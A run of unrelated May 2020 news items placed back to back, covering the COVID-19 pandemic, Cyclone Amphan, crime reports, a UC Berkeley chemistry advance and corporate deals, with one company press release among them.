WASHINGTON (dpa-AFX) - An employee in Atlanta has been charged with fraud after falsely telling his Fortune 500 employer that he had tested positive for coronavirus, causing a loss of more than $100,000 to the company. According to the charges, Santwon Antonio Davis submitted to his employer a fake medical excuse letter to prove he was infected with the deadly disease. In concern for its employees and customers, the corporation closed its business and sanitized the workplace. All the employees were asked to go on quarantine, and the company was forced to pay them during the shutdown. The corporation incurred heavy loss while dealing with its employee's misrepresentation, according to the charge sheet. FBI arrested the 34 year old man from Morrow, and is investigating this case as part of Georgia's COVID-19 Fraud Task Force. Davis, who appeared before U.S. Magistrate Judge Justin S. Anand, admitted that he did not contract the virus. 'The defendant caused unnecessary economic loss to his employer and distress to his coworkers and their families,' said U.S. Attorney Byung J. 'BJay' Pak. Chris Hacker, Special Agent in Charge of FBI Atlanta, said the agency is receiving several complaints every day related to the COVID-19 pandemic. The case was revealed by U.S. Attorney's Office for the Northern District of Georgia Thursday. It did not disclose the name of the defrauded company. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Many parts of Kolkata, home to more than 14 million people, were under water, and its airport was closed briefly by flooding.

At least 80 are dead in West Bengal, millions without power and wide swaths of coastal regions flooded as Cyclone Amphan cut a path of destruction that is still being assessed.

Many parts of Kolkata, home to more than 14 million people, were under water, and its airport was closed briefly by flooding. Roads were littered with uprooted trees and lamp posts, electricity and communication lines were down and centuries-old buildings were damaged.

Officials said the full extent of the damage caused by the cyclone was not known because communications to many places were cut. Hundreds of thousands of people were evacuated ahead of the storm, a process complicated by the coronavirus pandemic.

Amphan came ashore Wednesday with heavy rain, a battering storm surge and sustained winds of 170 kph (105 mph) and gusts up to 190 kph (118 mph). It devastated coastal villages, knocking down mud houses, tearing down utility poles and uprooting trees.

I have never seen such a disaster before, said West Bengal chief minister Mamata Banerjee, adding that the government would give families who lost a relative in the storm Rs 2.5 lakh.

PM visits Bengal, Odisha

Prime Minister Narendra Modi arrived in Kolkata at 11 am on Friday. He will also visit Odisha.

This is the prime minister's first visit outside the National Capital after coronavirus lockdown was imposed on the midnight of 24 March.

"He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the PMO said in a tweet on Thursday night.

As per a report in India Today, Modi is expected to undertake an aerial survey of the affected districts with Mamata. He is also likely to hold an administrative meeting and will then travel to Odisha's capital of Bhubaneshwar, as per the report.

DNA reported that Modi will will travel to Basirhat by helicopter and conduct an aerial survey of the worst-hit areas.

The prime minister will attend a meeting at Basirhat with state government and district officials at 11:20 am, following which he will return to the airport. Modi will leave for Bhubaneswar at 1:30 pm, as per the DNA report.

'Nothing left'

The roofs of many homes have flown away and the streets are waterlogged," said Shuli Ghosh, who runs a cafe in Kolkata. With many of its streets still flooded and phone and internet service not fully restored, officials said they were trying to determine the extent of damage in the state capital.

In Odisha, the cyclone destroyed crops of betel, a leaf used as a wrapper for chewing areca nut or tobacco. In Bangladeshs southwestern district of Bagerhat, more than 500 fish farms were flooded.

Debashish Shyamal, who lives in a fishing village along the West Bengal coast, took shelter with his family in a government clinic. He said the wind blew open the windows and doors and for hours they huddled inside, drenched by the torrential rain.

On Thursday, he discovered dangling electricity wires, waterlogged streets and an uprooted forest.

There is nothing left, he said.

Mamata ordered a drive to plant mangroves in the Sundarbans, a low-lying delta region of about 200 islands in the Bay of Bengal where about 13 million impoverished Indians and Bangladeshis live. The area is best known for being home to thick mangrove forests and Bengal tigers.

The region is no stranger to devastating cyclones, and the mangrove forests act as a barrier, absorbing the impact of the storms, said KJ Ramesh, the former chief of Indias meteorological department. The cyclone had passed directly through these forests, officials said.

Ramesh said the storms' intensity has increased due to changing climate patterns. Cyclones get their energy from warm ocean waters, and the amount of heat trapped in the top 700 meters (2,300 feet) of the seas has increased, he said.

As a result, cyclones are intensifying faster than before, he added.

10 million without power in Bangladesh

Broadcasters in Bangladesh reported 13 were killed. About 10 million people in Bangladesh remained without electricity, said Moin Uddin, chairman of the Bangladesh Rural Electrification Board.

Hundreds of villages were flooded and shelters were unable to run at full capacity in many places due to the coronavirus. Some people were too scared about the risk of infection to go there.

The pandemic also will affect relief efforts and the recovery. Damage from the storm is likely to have lasting repercussions for the poor, who are already stretched to the limit by the economic impact of the virus.

In an initial assessment in Bangladesh, Enamur Rahman, the country's junior minister for disaster management, said the cyclone caused about $130 million in damage to infrastructure, housing, fisheries, livestock, water resources and agriculture.

A total of 1,100 kilometres (over 680 miles) of roads, 150 flood-protection embankments and nearly 200,000 shrimp farms have been damaged in 26 of 64 districts, Rahman said in a news conference, adding that crops on 200,000 hectares (over 494,000 acres) have been damaged.

With inputs from AP
In response to the European court ruling, the Hungarian government has indicated that it will create statutory conditions that permit asylum requests at Hungarys foreign representations.

Andras Lederer, a senior advocacy officer with the Hungarian Helsinki Committee, the human rights organization that represented the applicants in the case, said the judgment was the product of five years of hard work, but he expressed concern that the Hungarian authorities would try to find different ways of shutting out people in need of protection.

Those who were locked up in the transit zones were extremely happy and relieved to experience freedom, Mr. Lederer said, especially the families, those with children who were kept behind barbed wires, behind fences, in containers. Now they get to see trees. They will be able to stand on grass.

The United Nations refugee agency welcomed Hungarys decision to move the migrants into regular reception facilities, but called on Mr. Orbans government to ensure that people seeking refuge in Hungary had access to asylum in line with the countrys international obligations.

In a statement, the agencys representative for Central Europe, Montserrat Feixas Vihe, described the court ruling as an opportunity for Hungary to bring its asylum policies and practices in line with international and E.U. law.

Mr. Orbans government remains at loggerheads with the European Union on multiple fronts.

In 2018, citing a list of attacks on democracy and the rule of law, the European Parliament voted to initiate the Article 7 procedure against Hungary, a process by which the country could ultimately be stripped of its vote in the European Council, the unions most powerful decision-making body.
A grandfather has been stabbed in a sickening attack while he was dropping off a teddy bear to his grandchild.

Laurie Dobson, 64, was dropping the toy off to his son's house in Banksia Grove, in Perth on Friday when it's believed he tried to break up an altercation in the street.

The 64-year-old was then stabbed in his neck and ears before being rushed to the Royal Perth Hospital to undergo emergency surgery.

Laurie Dobson, 64, was stabbed while dropping off a teddy bear to his granddaughter (both pictured) on Friday

He was driving to another area with his wife Sue but decided to stop by his son's home to drop off the teddy just moments before the attack.

It's believed Mr Dobson was attacked while he was trying to diffuse a situation that had escalated on the street, Seven News reported.

His wife said that he was simply in the 'wrong place at the wrong time'.

A 20-year-old woman has been arrested and is being spoken to by police.

Mr Dobson is recovering in hospital.
The Coronavirus Aid, Relief, and Economic Security (CARES) Act, signed into law by the President on March 27, 2020, includes Economic Impact Payments made directly to individuals and families of up to $1,200 per adult for individuals whose income was less than $99,000 (or $198,000 for married couples filing jointly), plus $500 per child under 17 years old. Some governmental benefits, including Medicaid and Supplemental Security Income, have caps on both monthly income and on the countable assets (resources) a person can have and still be eligible to receive those benefits. This article addresses the effect the federal government relief payments will have on such benefits.

The first thing to know is that the payments are being automatically issued by the Treasury Department. The Social Security Administration and the IRS are working together so that Social Security beneficiaries who do not file income tax returns do not have to file one just to receive the Economic Impact Payment. Recipients of Supplemental Security Income (SSI) benefits should receive their automatic payments no later than early May. Recipients will generally receive the automatic payments by direct deposit, Direct Express debit card, or by paper check, just as they would normally receive their SSI or Social Security benefits.
New Delhi, May 22 : In good news for advocates, the Supreme Court has allowed advocates to access their offices on the premises between 10 a.m. to 4 p.m. on alternate weeks, based on odd-even scheme.

For almost two months, lawyers' chambers were locked due to the outbreak of coronavirus. "To avoid overcrowding inside the Lawyers Chamber Blocks, in terms of the prescribed social-distancing norms, the SCBA and SCAORA may jointly prepare and circulate plan detailing the 'Odd-Even' Chamber Numbers of every Block, which would alternately open on Weekdays (Monday to Saturday) indicating therein the maximum number of persons who may access any Chamber at any point of time," the circular said.

The top court had ordered sealing of lawyers' chambers on the court complex on the evening of March 24.

Since the beginning of the lockdown, the top court has been taking up only extremely urgent matters through video conferencing.

"The Lawyers Chamber Blocks would follow the timings 10 a.m. to 4 p.m. (Monday to Friday, except holidays) and 10 a.m. to 2 p.m. (Saturday, except holidays), followed by sanitisation of the Blocks; on Sundays and holidays, the Blocks will remain closed for deep cleaning and sanitisation," added the circular.

The apex court took into consideration suggestions from lawyers' bodies -- Supreme Court Bar Association (SCBA) and the Supreme Court Advocates-on-Record Association (SCAORA) -- while deciding on the fresh guidelines on entry of persons into Lawyers' Chamber Blocks.

The top court has also made wearing masks mandatory for all entrants, and insisted on avoiding air-conditioners in the offices. "There will be a single-entry point to every Block fitted with hand-sanitiser machine provided by the Registry, and manned by the SCBA/SCAORA authorised personnel and SCS staff. The SCBA/SCAORA may inform the Members and their staff that operation of air-conditioning machines in chambers may raise health-concerns in the prevalent pandemic-situation," said the top court. Recently, the apex court has postponed its summer vacation and it will remain functional till June 19.

Entrants, who are found symptomatic during the thermal screening, shall be denied entry into the blocks, added the circular. The circular also added that only member lawyers and their staff can be allowed entry into the chambers blocks on "production of proximity card or letter of authority", and thermal screening is mandatory.

"The Lawyers Chamber Blocks shall have entry only for Learned Members and their staff (on production of Proximity Card or Letter of Authority), who would submit themselves to thermal-screening and duly fill up self-declaration Forms/Daily Registers (containing contact-tracing details), both to be arranged jointly by SCBA & SCAORA, and the SCS shall refuse entry into any Block on non-compliance of this condition," added the circular.

The top court said it would be mandatory to use "stairs while coming downstairs" from lawyers' chambers.
Gov. Gavin Newsom's orders don't currently allow gym and fitness studios to reopen in the state. (Rich Pedroncelli / Associated Press)

Sacramento County has walked back its decision to allow the opening of fitness studios and plans for small gatherings after state public health officials said both are still not allowed under relaxed stay-at-home orders.

Shortly after giving the green light for small exercise facilities to reopen, the county was forced to backtrack when the state intervened.

The Department of Health Services was willing to work with small fitness studios to reopen based on significant restrictions and requirements that ensured ample space between customers and staff and disinfecting shared equipment in order to protect public health, Sacramento County Director of Health Services Dr. Peter Beilenson said in a statement.

However, we have received feedback from the state Department of Public Health that no gyms or small fitness studios of any kind may reopen at this point, and we will respect and follow that guidance.

Beilenson told KCRA-TV in Sacramento on Thursday that the county's initial reopening plan instructed small studios to adopt significant restrictions, including limiting the space to a small number of clients who would need to register for class. Equipment was not to be shared, bathrooms could not be used and an in-depth hourly cleaning was required.

The county had also hoped to get permission from the state to allow for gatherings of 10 people or less. In its petition to further reopen, Sacramento County leaders included a proposal to allow for small group settings, but the state did not grant the request.

"There are still no gatherings of any size permitted outside of household members," the county's public information officer, Janna Haynes, said Friday.

Gov. Gavin Newsoms four-stage plan to reopen the state and lift his stay-at-home orders prompted by the COVID-19 pandemic is currently in the second phase, which allows for curbside pickup and delivery of food and goods, and the reopening of outdoor museums.

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Some counties have been approved for dine-in restaurant service and in-store shopping, though gatherings of mixed households are still not allowed.

Sacramento County's stay-at-home order is set to expire Friday night. Officials plan to issue a revised order that will allow in-restaurant eating and expanded shopping. The county has seen a decline in confirmed cases in recent weeks. To date, officials have reported more than 1,200 COVID-19 infections and 56 deaths.

Gyms and fitness studios, categorized as high-risk businesses under Phase 3 of Newsom's plan, are not currently allowed to reopen. Earlier this month, Newsom rebuked three Northern California counties that rushed to reopen businesses, including exercise facilities, without the states approval.

At least 42 counties, including Sacramento, have met the states guidelines to further lift restrictions. Some counties, such as Los Angeles County, are moving more slowly to reopen.

Counties are allowed to move at their own pace but must not circumvent the states orders.
I am disappointed in the virtual ceremony, Columbus Senior Dylan Sanders said. I feel that we have worked hard in our high school careers, and that we deserve a real ceremony. I wanted the opportunity to have pictures with friends and to say goodbye to all my classmates and teachers.

Columbus senior Peter Klokow agreed with Sanders.

Weve worked so hard for our whole lives pretty much up until this point and now we only get a small graduation on a screen, Klokow said. I know these are some difficult times for all of us, but it wouldve been nice for maybe something to be planned further out to honor my classmates and I.

Deuman said in the letter to families that the district was disappointed as well that the traditional ceremony would not be held, but they did want to put in additional practices to make the day special.

Students will be scheduled to attend the drive thru ceremony on Thursday and Friday with eight families being scheduled during a 45 minute time frame. The families are advised to wear a mask during the drive thru ceremony.
Tragic: Alejandro Ripley, nine, was found dead in a lake in Miami-Dade County, just hours after he was abducted from his mother's car by two men

A nine-year-old autistic boy from Florida who sparked a desperate search overnight after being abducted from his mother's car by two men looking to score drugs was found dead in a lake this morning.

Authorities in Miami-Dade County confirmed early Friday that a body discovered floating in a lake in the area of SW 62 Street and 138 Court was that of Alejandro Ripley, reported CBS Miami.

The lake at the Miccosukee Golf and Country Club where the boy's body was found is located just 4 miles from the spot where he was abducted the night before.

There was no immediate word on Alejandro's cause or manner of death.

The Florida Department of Law Enforcement on Thursday night issued an Amber Alert for Alejandro, who was kidnapped in the parking lot of a Home Depot at 15750 SW 88th Street in Miami just before 9pm.

The agency posted a message on Facebook on Friday saying the alert has been cancelled, adding: 'we are very sad to report that the child was found deceased.'

So far, no arrests have been announced in connection with the boy's kidnapping and death.

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Alejandro was riding in his mother's car (pictured) on Thursday night when another vehicle drove the woman off the road and cornered her

Police said a man emerged from the pursuing vehicle, approached Patricia Ripley's car and demanded drugs

Alejandro's body was found floating in a lake at the Miccosukee Golf and Country Club

The body was found about 4 miles from the parking lot where Alejandro was abducted

According to the agency, Alejandro, who was autistic and non-verbal, was pulled out of his mother's car by two black men driving a light blue four-door sedan.

One of the suspects was possibly wearing all black clothing and a black bandanna as a face mask, and may have had cornrows in his hair.

A spokesperson for the Miami Police Department said during a press briefing overnight that Alejandro's mother, 47-year-old Patricia Ripley, was driving in The Hammocks area of the city when she noticed a car following her.

Shortly after, the pursuing vehicle forced the woman off the road and crashed into her car to block her in, reported NBC Miami.

A male passenger then emerged from his vehicle, approached Ripley and demanded drugs.

An Amber Alert was issued for Alejandro on Thursday night, but it has since been cancelled

Miami police detective Angel Rodriguez said that when the mother insisted that she had no illegal narcotics in her possession, the bandit snatched her cellphone and pulled her son out of the vehicle.

The pair of kidnappers with the child in tow were last seen driving southbound.

Alejandro was described as standing at 4 feet 11 inches tall and weighing 120lbs, with black hair and brown eyes. He was last seen wearing a blue Captain America shirt, black shorts, and black Crocs shoes. He had a scar on his left leg.

Anyone who sees the suspects is urged to call 911 immediately, or call the Miami-Dade Police Department at 305-476-5423 if you have any other information that could help investigators. You can also call FDLE at 1-888-FL-MISSING (1-888-356-4774).
Gov. Greg Abbott announced Thursday a four-phase plan to reopen driver's license offices throughout the state.

The Texas Department of Public Safety will start reopening offices May 26 with limited, appointment-only service and will launch a statewide driver's license appointment system so customers can book appointments up to six months in advance.

"This phased opening of our driver license offices and the launch of DPS' online appointment system prioritizes the health and safety of our communities and ensures Texans have access to the services they need at their local driver license offices," Abbott said in a news release.

FIND OUT FIRST: Get San Antonio breaking news directly to your inbox

Here is the plan:

Phase one: Offices in the Northwest and West Texas regions will open with limited services starting May 26. Those who do not have a Texas driver's license, commercial driver's license, a learner permit's or ID card and those who need to take a driving test can schedule appointments in those regions starting Friday afternoon.

Phase two: Offices in the South and Central regions will reopen with limited services beginning May 29. For all of the above services, customers can make make appointments starting at 1 p.m. May 26.

Phase three: Offices in the North and Southeast regions will open with limited services beginning June 3. For all the above services, appointments can be made starting at 1 p.m. May 29.

Phase four: All customers will be allowed to schedule an appointment for all driver's license office transactions in the state. This phase is expected to start midsummer, and more details will be announced later. The current extension for expiration dates will remain in effect until phase four is implemented.

For more information or to schedule an appointment, click here.

Taylor Pettaway is a breaking news and general assignment reporter for MySA.com | taylor.pettaway@express-news.net | @TaylorPettaway
Competition Commission of India (CCI) on Thursday said it has approved the proposed acquisition of Emami Cement by Nuvoco Vistas Corporation, which is a Nirma promoter group company.

The proposed combination pertains to the acquisition of 100% of the total issued and paid up share capital of Emami Cement (ECL), on a fully diluted basis by Nuvoco Vistas Corporation (NVCL).

NVCL is a Nirma promoter group company and currently operates cement manufacturing units in Chhattisgarh, Jharkhand, West Bengal, Rajasthan and Haryana. It is stated to be engaged in the businesses of manufacturing and sale of variety of grey cements including portland pozzolana cement, portland slag cement and ordinary portland cement. It is also engaged in the sale of certain other value-added products like construction chemicals, wall putty, and cover blocks.

ECL is a part of the Emami group andowns and operates cement manufacturing units in West Bengal, Chhattisgarh, Bihar and Odisha. It is stated to be engaged in the manufacturing and sale of variety of grey cements including portland pozzolana cement, portland slag cement, ordinary portland cement and plain cement concrete i.e. composite cement. It also manufactures and sells small quantities of clinker and ground granulated blast furnace slag.

Shares of Emami were down 0.14% to 209.65 on BSE.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
As she stood up and placed her hand out to keep him at bay, Pavoni is seen striking her head with his right hand, according to the recording detailed in the report.
STATEN ISLAND, N.Y. -- Leonardo Giordano spoke to friends about the state of business in the pandemic Thursday evening in a parking lot in Annadale. Some customers come to him at his Mona Lisa Pizzeria looking for money to get by and theyre paying for their food with change.

Leonardo Giordano of Mona Lisa Pizzeria in Annadale. (Staten Island Advance/ Pamela Silvestri)Pamela Silvestri

With change! Now people cant even buy a meal, he lamented. Giordano and about 200 supporters of Joe Caldarera, a Republican challenging Nicole Malliotakis in a run for Congress, stood in the once-vibrant parking lot Thursday evening. Stores like Shades of Color hair salon in the town have been closed for about two months with over a dozen restaurants and the local liquor store operating on a curbside pickup/delivery-only business model.

Employees of Shades of Color in Annadale want to get back to work immediately. (Staten Island Advance/Pamela Silvestri)Pamela Silvestri

We just want to get back to work and make our beautiful clients beautiful again, said Christina Sears, a worker in Shades of Color." She and colleagues stood with signs protesting the continued New York City business shutdown while a DJ played Were Not Gonna Take It."

The rally, organized by Phil DeMeo and Joe Emmanuele, started as a platform for Caldarera. It continued for about an hour as a demonstration of public outrage over Mayor de Blasio and Gov. Cuomos reluctance to help what the candidate called the backbone of our economy, the lifeline of our community," the boroughs small businesses. Steve Margarella of Margarella Construction, and Anthony Fazzia, son of Jo Fazz Transportation school bus company of Brooklyn, were among the rally speakers.

We can go to Home Depot, a department store... but my restaurant and real estate friends have to stay closed, said Calderera.

Angelina Malerba of Angelinas Ristorante and Angelinas Kitchen fame, stepped into the center of the crowd. She and her familys pair of restaurants are in irons right now. The fine dining Tottenville location has been closed since mid-March. The Mall venture, a kitchen with its family-style, bistro format, has loyal patrons continuing to support the business with socially distanced tailgate parties and curbside food and drink pickup. The model has attracted the attention of police who remind the proprietors of steep fines and potential loss of the liquor license for such gatherings with alcohol.

- Rally in Annadale brings business owners and restaurateurs to demand the opening of New York City. Pamela SilvestriPamela Silvestri

Its crazy, said Malerba. She cannot understand why New York wont just give the go-ahead to start up again.

Malerba said that to take advantage of the spring and summer season, the kitchens had to get fired up once again. And that alone would take some time.

We gotta buy our food. We gotta bring our people back. Its been three months now, she said.

Our small businesses have been devastated by the coronavirus pandemic and we cannot let the cure continue the devastation, Caldarera said. We hope that our elected officials heard them loud and clear so we can get back to work. I am not interested in having the back of my government, Im only interested in having the backs of my people.

Caldarera expressed outrage on the part of restaurant owners with whom he has spoken. When they do open, he said, the law will mandate 50 percent capacity in dining rooms. Theyve got to open at 80 percent capacity to be profitable," he told the Advance.

Theyll open safely and maintain a safe environment for their loyal patrons. They dont need the government to tell them what they have to do to keep their customers safe. They know how to do that," Caldarera concluded.
Anondita Healthcare, Indias leading condoms and surgical gloves manufacturer, has successfully captured a sizeable market share in India and overseas. Steered by Mr. Reshant Ghosh as Director, Anondita Healthcare has successfully been able to bring condoms in the mainstream among the youths, making them lifestyle products with some of the brand names as colourful as their product range.

These condoms have sensuous aromas and flavours like Nimbu, Jamun, Kacha Aam, Orange, Strawberry, Mint, Chocolate, Butterscotch, Coffee, Bubblegum Banana, and Paan. Condoms are not a taboo, but healthy lifestyle products with a potential to ensure the elimination of sexually-communicated diseases like HIV and many other STDs. There is an urgent requirement for comprehensive sex education in India, where there is a lack of honest and age-appropriate information necessary to help the youth take effective preventive measures for their health and wellbeing, says Reshant.

An entrepreneur with a heart of gold, Reshant believes in giving back to society. In light of the rising number of Covid-19 cases, he recently, took charge of doubling the production of surgical gloves at Anondita Healthcare..

He says, At this unprecedented time, when doctors and other healthcare workers are working day and night to serve the patients, that, too, without caring for their own lives, its our moral responsibility to ensure their utmost protection from infection as much as we can. I hope that we soon win this battle against the COVID-19 pandemic.

Anondita Healthcare, the only World Health Organisation (WHO)-certified manufacturer of condoms and surgical gloves in North India, contributes to over 70% subsidized condoms distributed by the central and state governments..

Anondita Healthcare has emerged as Indias prominent third-party manufacturer for other branded players like Barkat, Tamanna, Force, Ek Lamha, and the immensely popular Nirodh. Condoms manufactured by Anondita are 100% electronically tested and exhibit display attractive designs and pictures. Export-quality packing material is another specialty of Anonditas products.

Besides articulating his forward-looking vision and commitment to excellence in the product portfolio expansion of Anondita Healthcare, Reshant is instrumental in driving its expansion goals. Anondita Healthcare already enjoys a dominant market share in Northern and Eastern India. The statesinclude Delhi-NCR, Rajasthan, Himachal Pradesh, Odisha, West Bengal, Bihar, and Jharkhand.

Reshant has been the driving force behind the companys significant global presence across several continents. Currently, Anondita Healthcare is eyeing even deeper penetration in global territories, especially Ghana and its neighbouring African countries, where it aims to ensure regular bulk supplies of high-quality condoms. Poland is another country on the expansion radar of Anondita.

In India, Anondita wants to cater to the growing demand for contraceptives in the North-East, besides generating employment and supporting family planning initiatives there. Anondita Healthcare is looking to expand deeper in Arunachal Pradesh, Assam, Manipur, Meghalaya, Mizoram, Nagaland, Sikkim and Tripura. It has already launched a manufacturing facility in Guwahati.

Reshant is looked up for inspiration by many. Better known for its bestselling condoms brands like Cobra and Midnight, the company has an installed a capacity of nearly 550 million condoms and 60 million surgical gloves per annum. It also manufacturers its own condom-making machines, which is one of its prime USPs. It has been manufacturing condoms for domestic pharmaceutical players like Mankind (Manforce Condoms), Zydus Cadila (VIGORA condoms ), and Wockardt Ltd. (Vigo XXX condoms), among others.

Reshant is a respected thought leader, especially on family planning initiatives and other issues of social importance. The other social initiatives that he spearheads at Anondita Healthcare include offering employment to the differently-abled and extending a helping hand to charitable trusts actively involved in providing free medicines and medical equipment to hospitals.

Reshant regularly appears in talk shows on national media platforms. At such a young age, he has achieved the distinction of being an authority in his area of expertise, including leadership and entrepreneurship, among others. His authored articles have also gained attention in the magazines of national repute. He believes that there is an urgent necessity to develop comprehensive perspective on the issues plaguing the growth of the country. An auto enthusiast, he loves to go for long drives and is curious about the engineering that goes into every vehicle.

Committed to serve as an anti-AIDS crusader, Anondita Healthcare recently won the Emerging Healthcare Award at Times Business Awards due to its active participation in regular bulk supplies of surgical gloves and condoms in the state-run hospitals of Maharashtra and Karnataka, besides supplying its products in Army hospitals in Delhi, Rajasthan and Himachal Pradesh. Anondita Healthcare was also praised by the National AIDS Control Society when a team visited its manufacturing unit.

Disclaimer: This is a company press release. No HT Group journalist is involved in the creation of this content.
The most common chemical bond in the living world -- that between carbon and hydrogen -- has long resisted attempts by chemists to crack it open, thwarting efforts to add new bells and whistles to old carbon-based molecules.

Now, after nearly 25 years of work by chemists at the University of California, Berkeley, those hydrocarbon bonds -- two-thirds of all the chemical bonds in petroleum and plastics -- have fully yielded, opening the door to the synthesis of a large range of novel organic molecules, including drugs based on natural compounds.

"Carbon-hydrogen bonds are usually part of the framework, the inert part of a molecule," said John Hartwig, the Henry Rapoport Chair in Organic Chemistry at UC Berkeley.

"It has been a challenge and a holy grail of synthesis to be able to do reactions at these positions because, until now, there has been no reagent or catalyst that will allow you to add anything at the strongest of these bonds."

Hartwig and other researchers had previously shown how to add new chemical groups at C-H bonds that are easier to break, but they could only add them to the strongest positions of simple hydrocarbon chains.

In the May 15 issue of the journal Science, Hartwig and his UC Berkeley colleagues described how to use a newly designed catalyst to add functional chemical groups to the hardest of the carbon-hydrogen bonds to crack: the bonds, typically at the head or tail of a molecule, where carbon has three attached hydrogen atoms, what's called a methyl group (CH3).

"The primary C-H bonds, the ones on a methyl group at the end of a chain, are the least electron-rich and the strongest," he said. "They tend to be the least reactive of the C-H bonds."

UC Berkeley postdoctoral fellow Raphael Oeschger discovered a new version of a catalyst based on the metal iridium that opens up one of the three C-H bonds at a terminal methyl group and inserts a boron compound, which can be easily replaced with more complex chemical groups.

The new catalyst was more than 50 times more efficient than previous catalysts and just as easy to work with.

"We now have the ability to do these types of reactions, which should enable people to rapidly make molecules that they would not have made before," Hartwig said.

"I wouldn't say these are molecules that could not have been made before, but people wouldn't make them because it would take too long, too much time and research effort, to make them."

The payoff could be huge. Each year, nearly a billion pounds of hydrocarbons are used by industry to make solvents, refrigerants, fire retardants, and other chemicals and are the typical starting point for synthesizing drugs.

To prove the utility of the catalytic reaction, UC Berkeley postdoctoral fellow Bo Su and his coworkers in the lab used it to add a boron compound or borane, to a terminal, or primary, the carbon atom in 63 different molecular structures.

The borane can then be swapped out for any number of chemical groups. The reaction specifically targets terminal C-H bonds but works at other C-H bonds when a molecule doesn't have a terminal C-H.

"We make a boron-carbon bond using boranes as reagents -- they're just a couple steps away from ant poison, boric acid -- and that carbon-boron bond can be converted into many different things," Hartwig said.

"Classically, you can make a carbon-oxygen bond from that, but you can also make a carbon-nitrogen bond, a carbon-carbon bond, a carbon-fluorine bond, or other carbon-halogen bonds. So, once you make that carbon-boron bond, there are many different compounds that can be made."

Organic chemist Varinder Aggarwal from the University of Bristol referred to the catalytic reaction as "expert surgery" and characterized UC Berkeley's new technique as "sophisticated and clever," according to the magazine Chemical and Engineering News

One potential application, Hartwig said, is altering natural compounds -- chemicals from plants or animals that have useful properties, such as antibiotic activity -- to make them better.

Many pharmaceutical companies today are focused on biologics -- organic molecules, such as proteins, used as drugs -- that could also be altered with this reaction to improve their effectiveness.

"In the normal course, you would have to go back and remake all those molecules from the start, but this reaction could allow you to just make them directly," Hartwig said.

"This is one type of chemistry that would allow you to take those complex structures that nature makes that have an inherent biological activity and enhance or alter that biological activity by making small changes to the structure."

He said that chemists could also add new chemical groups to the ends of organic molecules to prep them for polymerization into long chains never before synthesized.

"It could enable you to take molecules that would be naturally abundant, sourced molecules like fatty acids, and be able to derivatize them at the other end for polymer purposes," he said.

Chemists have long tried to make targeted additions to carbon-hydrogen bonds, a reaction referred to as C-H activation. One still unachieved dream is to convert methane -- an abundant, but often wasted, a byproduct of oil extraction and a potent greenhouse gas -- into alcohol called methanol that can be used as a starting point in many chemical syntheses in industry.

In 1982, Robert Bergman, now a UC Berkeley professor emeritus of chemistry, first showed that an iridium atom could break a C-H bond in an organic molecule and insert itself and an attached ligand between the carbon and hydrogen.

While a major advance in organic and inorganic chemistry, the technique was impractical -- it required one iridium atom per C-H bond. Ten years later, other researchers found a way to use iridium and other so-called transition metals, like tungsten, as a catalyst, where a single atom could break and functionalize millions of C-H bonds.

Hartwig, who was a graduate student with Bergman in the late 1980s, continued to bang on unreactive C-H bonds and in 2000 published a paper in Science describing how to use a rhodium-based catalyst to insert boron at terminal C-H bonds. Once the boron was inserted, chemists could easily swap it out for other compounds.

With subsequent improvements to the reaction and changing the metal from rhodium to iridium, some manufacturers have used this catalytic reaction to synthesize drugs by modifying different types of C-H bonds.

But the efficiency for reactions at methyl C-H bonds at the ends of carbon chains remained low because the technique required that the reactive chemicals also be the solvent.

With the addition of the new catalytic reaction, chemists can now stick chemicals in nearly any type of carbon-hydrogen bond. In the reaction, iridium snips off a terminal hydrogen atom, and the boron replaces it; another boron compound floats away with the released hydrogen atom.

The team attached a new ligand to iridium -- a methyl group called 2-methylphenanthroline -- that accelerated the reaction by 50 to 80 times over previous results.

Hartwig acknowledges that these experiments are the first step. The reactions vary from 29% to 85% in their yield of the final product. But he is working on improvements.

For us, it shows, yeah, you can do this, but we will need to make even better catalysts. We know that the ultimate goal is attainable if we can further increase our rates by a factor of 10, let's say. Then, we should be able to increase the complexity of molecules for this reaction and achieve higher yields." John Hartwig, Henry Rapoport Chair in Organic Chemistry, University of California - Berkeley

"It is a little bit like a four-minute mile. Once you know that something can be accomplished, many people are able to do it, and the next thing you know, we're running a three-and-three-quarter-minute mile."
Shanghai (Gasgoo)- Changan PSA Automobiles Co., Ltd.(CAPSA), formerly a 50:50 joint venture between Chongqing Changan Automobile and Groupe PSA, has been renamed Shenzhen Baoneng Motor Co.,Ltd., and its investor changed to Shenzhen Qianhai Ruizhi Investment Co.,Ltd., a wholly-owned subsidiary of Baoneng Motor Co.,Ltd, according to Shenzhen Administration for Market Regulation.



(Photo source: Baoneng Group)



Sun Li, vice president of Baoneng Investment Group Co.,Ltd, assumes the legal representative of Shenzhen Baoneng Automobile, serving as the replacement of Zhu Huarong, president of Chongqing Changan Automobile. Leadership positions are all occupied by members from Baoneng Group.

The new company's line of businesses includes the R&D, production and sale of automobiles, engines, transmission, auto components and relevant maintenance parts, etc.

It is noteworthy that the marketing and management services for imported DS-branded vehicles, including after-sales service, branding, product promotion, and consumer relation management, which were within Changan PSA's business scope, has been removed now.

In last November, Groupe PSA said it was preparing to tranfer its 50% stake in CAPSA, which had struggled with flagging sales.

Changan Automobile disclosed on December 31, 2019 it has signed an agreement to sell its 50% stake in the joint venture to a subsidiary of Baoneng Automobile for 1.63 billion yuan ($229 million).

Founded in 2011, CAPSA was initially 50/50 owned by China Chang'an Automobile Group Co., Ltd (CCAG) and the France-based Groupe PSA. In 2015, Changan Automobile got the joint venture's 50% share from CCAG.

(DS 7, photo source: DS)



CAPSA works on sale and production of vehicles under the premium car brand DS. Since the start of mass production in 2013, the joint venture has so far rolled out five models, which have presence in both car and SUV fields.

The eight-year-old joint venture was long mired in continuous loss and falling sales. According to Changan's statement, CAPSA posted a net loss of 874.09 million yuan ($123 million) in 2018, while the loss reached up to 2.23 billion yuan ($313 million) after only nine months through September, 2019.

